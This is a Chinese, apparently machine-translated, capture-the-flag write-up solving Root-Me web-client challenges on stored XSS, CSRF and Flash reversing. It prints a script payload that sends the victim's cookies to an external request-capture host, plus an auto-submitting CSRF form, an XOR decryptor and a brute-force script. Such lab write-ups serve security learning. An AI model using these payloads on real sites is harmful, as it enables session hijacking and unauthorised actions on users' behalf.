XSS,CSRF和Flash身份验证。 使用r0ot-mi Web解决问题-客户端。 第二部分

图片

在本文中,我们通过存储的XSS劫持cookie,应对CSRF攻击并反转Flash SWF文件。 链接到以前的文章:

第1部分: 网络-javascript身份验证,混淆和本机代码。 使用r0ot-mi Web解决问题-客户端。

组织信息
特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:

  • PWN;
  • 密码学(加密);
  • 网络技术(网络);
  • 反向(反向工程);
  • 隐写术(Stegano);
  • 搜索和利用Web漏洞。

除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。

为了使您可以查找有关新文章,软件和其他信息的信息,我在Telegram中创建了一个频道,并创建了一个小组来讨论 ICD领域中的所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议, 并会回答所有人

提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。

XSS已存储


图片

分配后,我们需要获取管理员cookie。 我们打开网站。 我们看到一个表格,您需要在其中输入标题和消息。 让我们输入以查看输入内容如何在表单上显示。

图片

图片

所以 让我们尝试检查XSS。 作为有效载荷,我将使用通常的警报。

<script>alert(1);</script> 

如您所见,警报窗口已显示给我们,即嵌入式javascript代码起作用了。

图片

由于这些存储的是XSS,因此有可能劫持其他用户的cookie。 如果您在全球网络中没有自己的服务器,则可以使用此站点

图片

在这里,我们给了一个地址,在这里我们可以观察到对该地址的所有请求。 现在介绍下一个有效负载。

 <script> document.write("<img src='https://en0q0bu21ne0wq.x.pipedream.net/?cookie=" + document.cookie + "'></img>"); </script> 

当用户使用此代码打开页面时,代理将尝试下载图片并在该地址执行请求。 他将使用他的cookie作为参数。 然后,我们查看发出请求的参数-这将是cookie。

图片

为什么劫持Cookie危险? 通过在浏览器中为此网站插入Cookie,我们将代表该用户进入该网站,从而跳过身份验证过程。

CSRF


图片

分配后,我们需要激活您的帐户。 让我们来看一下该站点。 我们会收到授权表格。

图片

我们选择注册,然后在网站上注册。

图片

我们被告知,当管理员激活我们的帐户后,我们将获得完全访问权限。

图片

图片

当您尝试自己选中此框时,我们会收到一条消息,说明我们不是管理员。

图片

但是我们可以联系管理员,即他将打开页面。 CSRF的含义是用户在不知情的情况下执行动作。 也就是说,我们可以强迫他提交已经完成的表格。 让我们检查服务器是否设置并检查了令牌,以防止此类攻击。 每次都不同。

图片

没有令牌。 这种形式的有效载荷将来自这种形式。

 <form id="form" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data"> <input type="text" name="username" value="ralf"> <input type="checkbox" name="status" checked > <button type="submit">Submit</button> </form> <script>document.getElementById("form").submit()</script> 

这是一个已经用我们的数据填充的表格,带有选中的标记。 Javascript代码将在加载页面后分别代表查看它的管理员发送它。

图片

图片

一段时间后,我们刷新页面。 我们的帐户已被激活。

图片

闪光灯


图片

我们需要找到一个有效的代码。 让我们打开页面。 我们被某种代码机制所满足。

图片

让我们看一下代码。

图片

我们看到转换后的代码已在我们介绍的JS上进行了检查。 仍然需要找出转换算法。 同样在代码中,有一个指向swf文件的链接。 让我们下载它。

图片

我们看到这是一个压缩的Macromedia Flash。 要撤消此类文件,我更喜欢使用JPEXS。

图片

我们找到了主要脚本。

图片

让我们拆开。

图片

它从另一个嵌套脚本中加载数据,用键咬住它们并发送给执行。 来吧 首先我们找到这些数据。

图片

然后导出到单独的文件。

图片

现在用密钥代理它们。

 f = open('1_RootMe_EmbeddedSWF.bin', 'r') swf_crypt = f.read() f.close() key = 'rootmeifyoucan' swf_decrypt = '' for i in range(len(swf_crypt)): swf_decrypt += chr(ord(swf_crypt[i]) ^ ord(key[i%len(key)])) f = open('NewEmbedded.swf', 'w') f.write(swf_decrypt) f.close() 

我们得到一个新文件。 在JPEXS中打开它。

图片

我们找到了主要脚本并开始进行分析。

图片

由于您仍然必须编写代码。 我将发布其中的一部分。

 but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' 

在这里,我们看到每个按钮的代码及其在坐标中的位置。 这将帮助我们了解哪个按钮具有哪个代码。

图片

从中我们得知,代码的长度应等于或大于12。并且最终值是来自倒置字符串的MD5哈希。

 from hashlib import * import itertools for var in itertools.product('1234', repeat=12): ... ... if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() 

图片

除了描述之外,我将仅在python'e中给出此代码。

 code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] 

因此,我们需要整理出4 ^ 12 = 16777216个选项。 一件小事。

 from hashlib import * import itertools but1 = 11266775 but2 = 11146309 but3 = 7884889 but4 = 8049718 Hash = 'dbbcd6ee441aa6d2889e6e3cae6adebe' for var in itertools.product('1234', repeat=12): code = "" for char in var: if char == '1': code += format((but1 >> 16 & 0xFF), '02X') elif char == '2': code += format((but2 >> 8 & 0xFF), '02X') elif char == '3': code += format((but3 >> 0 & 0xFF), '02X') elif char == '4': if len(code) > 1: code = code[0:-1] if len(code) >= 12: break h = md5(code[::-1].encode()).hexdigest() print("Password: %s, code: %s" % (var, code)) if h == Hash: print('Correct password:' + "".join(var)) Break 

图片

得到了密码和密码。

越来越复杂...您可以加入Telegram 。 让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

Source: https://habr.com/ru/post/zh-CN477254/


All Articles